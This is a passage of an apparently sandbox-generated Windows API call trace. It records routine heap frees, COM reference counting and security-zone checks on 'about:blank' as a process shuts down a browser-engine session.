ISystemDebugEventFire:EndSession (This=0x79dea8) returned 0x0 [0033.476] IUnknown:Release (This=0x79dea8) returned 0x0 [0033.476] GetUserDefaultLCID () returned 0x409 [0033.476] GetACP () returned 0x4e4 [0033.476] ??3@YAXPAX@Z () returned 0x1 [0033.476] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7ac530 | out: hHeap=0x750000) returned 1 [0033.476] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7938a8 | out: hHeap=0x750000) returned 1 [0033.476] ??3@YAXPAX@Z () returned 0x1 [0033.476] GetCurrentThreadId () returned 0x10c [0033.476] free (_Block=0x29d2780) [0033.476] ??3@YAXPAX@Z () returned 0x1 [0033.477] ??3@YAXPAX@Z () returned 0x1 [0033.477] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.477] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.477] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7b0ec0 | out: hHeap=0x750000) returned 1 [0033.477] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7a6780 | out: hHeap=0x750000) returned 1 [0033.477] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.477] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.477] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.477] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.477] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78f8f0 | out: hHeap=0x750000) returned 1 [0033.477] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x76d2a0 | out: hHeap=0x750000) returned 1 [0033.477] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x793818 | out: hHeap=0x750000) returned 1 [0033.477] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x77b788 | out: hHeap=0x750000) returned 1 [0033.477] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.477] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7b20f0 | out: hHeap=0x750000) returned 1 [0033.477] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7a6798 | out: hHeap=0x750000) returned 1 [0033.477] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.477] IUnknown:Release (This=0x785558) returned 0x0 [0033.477] IUnknown:Release (This=0x7846cc) returned 0x0 [0033.477] IUnknown:Release (This=0x738896bc) returned 0x1 [0033.477] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78a818 | out: hHeap=0x750000) returned 1 [0033.478] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x77b980 | out: hHeap=0x750000) returned 1 [0033.478] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.478] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7ba8f8 | out: hHeap=0x750000) returned 1 [0033.478] CreateUri (in: pwzURI="about:blank", dwFlags=0x2b84, dwReserved=0x0, ppURI=0x40fd04 | out: ppURI=0x40fd04*=0x77c0c4) returned 0x0 [0033.478] IUri:GetScheme (in: This=0x77c0c4, pdwScheme=0x40fc9c | out: pdwScheme=0x40fc9c*=0x11) returned 0x0 [0033.478] IUnknown:QueryInterface (in: This=0x77c0c4, riid=0x7350d6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x40fca4 | out: ppvObject=0x40fca4*=0x77c0c4) returned 0x0 [0033.478] IUnknown:Release (This=0x77c0c4) returned 0x3 [0033.478] IUnknown:AddRef (This=0x77c0c4) returned 0x4 [0033.478] IUnknown:Release (This=0x77c0c4) returned 0x3 [0033.478] IUri:IsEqual (in: This=0x77c424, pUri=0x77c0c4, pfEqual=0x40fce4 | out: pfEqual=0x40fce4*=0) returned 0x0 [0033.478] IUnknown:Release (This=0x77c424) returned 0x2 [0033.478] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.478] IUnknown:AddRef (This=0x77c0c4) returned 0x4 [0033.478] IUri:GetAbsoluteUri (in: This=0x77c0c4, pbstrAbsoluteUri=0x7800b8 | out: pbstrAbsoluteUri=0x7800b8*="about:blank") returned 0x0 [0033.478] IUnknown:Release (This=0x77c0c4) returned 0x3 [0033.478] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.478] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.478] GetCurrentProcessId () returned 0x940 [0033.479] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.479] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.479] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.479] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.479] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.479] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.479] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78ca58 | out: hHeap=0x750000) returned 1 [0033.479] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.479] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7694f0 | out: hHeap=0x750000) returned 1 [0033.479] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78ca70 | out: hHeap=0x750000) returned 1 [0033.479] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.479] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.479] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.479] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.479] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.479] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.479] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.479] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.479] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.479] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.479] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.479] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78ca88 | out: hHeap=0x750000) returned 1 [0033.479] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.479] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.479] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.479] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.479] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.479] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.479] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.480] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.480] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.480] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.480] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.480] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.480] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.480] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.480] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.480] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.480] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.480] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.480] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.480] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.480] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.480] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.480] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.480] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.480] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.480] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78ce80 | out: hHeap=0x750000) returned 1 [0033.480] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x77fd98 | out: hHeap=0x750000) returned 1 [0033.480] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x77bd40 | out: hHeap=0x750000) returned 1 [0033.480] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.480] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78ce28 | out: hHeap=0x750000) returned 1 [0033.481] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7a13a0 | out: hHeap=0x750000) returned 1 [0033.481] IUnknown:Release (This=0x77c6ac) returned 0x4 [0033.481] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x76d878 | out: hHeap=0x750000) returned 1 [0033.481] IUnknown:Release (This=0x77c6ac) returned 0x3 [0033.481] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x792200 | out: hHeap=0x750000) returned 1 [0033.481] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7643c8 | out: hHeap=0x750000) returned 1 [0033.481] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.481] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.481] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x792338 | out: hHeap=0x750000) returned 1 [0033.481] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.481] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.481] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x792168 | out: hHeap=0x750000) returned 1 [0033.481] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.481] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x77b950 | out: hHeap=0x750000) returned 1 [0033.481] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x792040 | out: hHeap=0x750000) returned 1 [0033.481] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x791c80 | out: hHeap=0x750000) returned 1 [0033.481] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.481] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x79aff8 | out: hHeap=0x750000) returned 1 [0033.481] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x76d958 | out: hHeap=0x750000) returned 1 [0033.482] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7ad340 | out: hHeap=0x750000) returned 1 [0033.482] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x79e130 | out: hHeap=0x750000) returned 1 [0033.482] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x795508 | out: hHeap=0x750000) returned 1 [0033.482] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78ff78 | out: hHeap=0x750000) returned 1 [0033.482] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x793a88 | out: hHeap=0x750000) returned 1 [0033.482] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7ba6b0 | out: hHeap=0x750000) returned 1 [0033.482] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x79ceb0 | out: hHeap=0x750000) returned 1 [0033.482] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78ff20 | out: hHeap=0x750000) returned 1 [0033.482] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x79cee8 | out: hHeap=0x750000) returned 1 [0033.482] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78fec8 | out: hHeap=0x750000) returned 1 [0033.482] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7939f8 | out: hHeap=0x750000) returned 1 [0033.482] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x793a28 | out: hHeap=0x750000) returned 1 [0033.482] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78fe70 | out: hHeap=0x750000) returned 1 [0033.483] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7939c8 | out: hHeap=0x750000) returned 1 [0033.483] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7736b8 | out: hHeap=0x750000) returned 1 [0033.483] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x4c) returned 0x78fe70 [0033.483] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x77b950 [0033.483] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x4) returned 0x7a13a0 [0033.483] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x50) returned 0x78fec8 [0033.483] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78fec8 | out: hHeap=0x750000) returned 1 [0033.483] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.483] CoInternetCreateSecurityManager (in: pSP=0x0, ppSM=0x7846c4, dwReserved=0x0 | out: ppSM=0x7846c4*=0x7a1800) returned 0x0 [0033.483] IInternetSecurityManager:SetSecuritySite (This=0x7a1800, pSite=0x7846cc) returned 0x0 [0033.483] IUnknown:AddRef (This=0x7846cc) returned 0x31 [0033.483] IUnknown:QueryInterface (in: This=0x7846cc, riid=0x750661d0*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x40f97c | out: ppvObject=0x40f97c*=0x7846d0) returned 0x0 [0033.483] IServiceProvider:QueryService (in: This=0x7846d0, guidService=0x7506f13c*(Data1=0xf1e50292, Data2=0xa795, Data3=0x4117, Data4=([0]=0x8e, [1]=0x9, [2]=0x2b, [3]=0x56, [4]=0xa, [5]=0x72, [6]=0xac, [7]=0x60)), riid=0x7506f13c*(Data1=0xf1e50292, Data2=0xa795, Data3=0x4117, Data4=([0]=0x8e, [1]=0x9, [2]=0x2b, [3]=0x56, [4]=0xa, [5]=0x72, [6]=0xac, [7]=0x60)), ppvObject=0x7a1828 | out: ppvObject=0x7a1828*=0x0) returned 0x80004002 [0033.483] IServiceProvider:QueryService (in: This=0x7846d0, guidService=0x7506f12c*(Data1=0xf164edf1, Data2=0xcc7c, Data3=0x4f0d, Data4=([0]=0x9a, [1]=0x94, [2]=0x34, [3]=0x22, [4]=0x26, [5]=0x25, [6]=0xc3, [7]=0x93)), riid=0x7506f12c*(Data1=0xf164edf1, Data2=0xcc7c, Data3=0x4f0d, Data4=([0]=0x9a, [1]=0x94, [2]=0x34, [3]=0x22, [4]=0x26, [5]=0x25, [6]=0xc3, [7]=0x93)), ppvObject=0x7a1824 | out: ppvObject=0x7a1824*=0x0) returned 0x80004002 [0033.483] IServiceProvider:QueryService (in: This=0x7846d0, guidService=0x7505c484*(Data1=0x79eac9ee, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), riid=0x7505c484*(Data1=0x79eac9ee, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x7a1820 | out: ppvObject=0x7a1820*=0x738896bc) returned 0x0 [0033.483] IUnknown:Release (This=0x7846d0) returned 0x0 [0033.483] IUnknown:AddRef (This=0x77c0c4) returned 0x4 [0033.484] IInternetSecurityManager:MapUrlToZone (in: This=0x738896bc, pwszUrl="about:blank", pdwZone=0x40f9b4, dwFlags=0x0 | out: pdwZone=0x40f9b4*=0xffffffff) returned 0x800c0011 [0033.484] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0033.484] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0033.484] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1 [0033.484] IInternetSecurityManager:ProcessUrlAction (in: This=0x738896bc, pwszUrl="about:blank", dwAction=0x2106, pPolicy=0x40f9b8, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x41, dwReserved=0x0 | out: pPolicy=0x40f9b8*=0x0) returned 0x0 [0033.484] IUnknown:Release (This=0x77c0c4) returned 0x3 [0033.484] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x77b8f0 | out: hHeap=0x750000) returned 1 [0033.484] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78f9f8 | out: hHeap=0x750000) returned 1 [0033.484] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.484] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.484] IUnknown:Release (This=0x77ad18) returned 0x1 [0033.484] IUnknown:Release (This=0x77c0c4) returned 0x2 [0033.484] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7800b8 | out: hHeap=0x750000) returned 1 [0033.484] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x79f8a0 | out: hHeap=0x750000) returned 1 [0033.484] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78a7c0 | out: hHeap=0x750000) returned 1 [0033.484] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x793938 | out: hHeap=0x750000) returned 1 [0033.485] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x8f) returned 0x7ad340 [0033.485] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7ad340 | out: hHeap=0x750000) returned 1 [0033.485] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x791c80 | out: hHeap=0x750000) returned 1 [0033.485] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7736b8 | out: hHeap=0x750000) returned 1 [0033.485] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7a1868 | out: hHeap=0x750000) returned 1 [0033.485] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.485] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.485] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.485] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x79dcf8 | out: hHeap=0x750000) returned 1 [0033.485] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.485] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7ac4d0 | out: hHeap=0x750000) returned 1 [0033.485] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x791fa8 | out: hHeap=0x750000) returned 1 [0033.485] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.485] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x79dcb0 | out: hHeap=0x750000) returned 1 [0033.485] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.486] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7ac490 | out: hHeap=0x750000) returned 1 [0033.486] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7832f0 | out: hHeap=0x750000) returned 1 [0033.486] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.486] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.486] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.486] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.486] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7b37d8 | out: hHeap=0x750000) returned 1 [0033.486] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7853a0 | out: hHeap=0x750000) returned 1 [0033.486] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x791f10 | out: hHeap=0x750000) returned 1 [0033.486] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x773558 | out: hHeap=0x750000) returned 1 [0033.486] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7854f0 | out: hHeap=0x750000) returned 1 [0033.486] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.486] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x764380 | out: hHeap=0x750000) returned 1 [0033.486] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.486] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7736f8 | out: hHeap=0x750000) returned 1 [0033.486] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x76d840 | out: hHeap=0x750000) returned 1 [0033.486] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7a67b0 | out: hHeap=0x750000) returned 1 [0033.486] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.486] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7ac550 | out: hHeap=0x750000) returned 1 [0033.486] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.486] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7ac570 | out: hHeap=0x750000) returned 1 [0033.486] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.486] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7ac590 | out: hHeap=0x750000) returned 1 [0033.486] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.486] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7ac5b0 | out: hHeap=0x750000) returned 1 [0033.486] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.486] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7ac5d0 | out: hHeap=0x750000) returned 1 [0033.486] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.486] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7ac5f0 | out: hHeap=0x750000) returned 1 [0033.486] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.486] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7ac610 | out: hHeap=0x750000) returned 1 [0033.487] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.487] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7ac630 | out: hHeap=0x750000) returned 1 [0033.487] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.487] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7ac650 | out: hHeap=0x750000) returned 1 [0033.487] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.487] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7ac670 | out: hHeap=0x750000) returned 1 [0033.487] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.487] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7ac690 | out: hHeap=0x750000) returned 1 [0033.487] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.487] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7ac6b0 | out: hHeap=0x750000) returned 1 [0033.487] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7b3318 | out: hHeap=0x750000) returned 1 [0033.487] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x76d8e8 | out: hHeap=0x750000) returned 1 [0033.487] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x773538 | out: hHeap=0x750000) returned 1 [0033.487] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.487] LsDestroyContext () returned 0x0 [0033.487] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7a95e8 | out: hHeap=0x750000) returned 1 [0033.487] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x793668 | out: hHeap=0x750000) returned 1 [0033.487] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x793178 | out: hHeap=0x750000) returned 1 [0033.487] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x793a58 | out: hHeap=0x750000) returned 1 [0033.487] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x780158 | out: hHeap=0x750000) returned 1 [0033.487] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7801a8 | out: hHeap=0x750000) returned 1 [0033.487] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7b3c60 | out: hHeap=0x750000) returned 1 [0033.487] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x79e0e8 | out: hHeap=0x750000) returned 1 [0033.487] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7b1f38 | out: hHeap=0x750000) returned 1 [0033.487] HeapFree 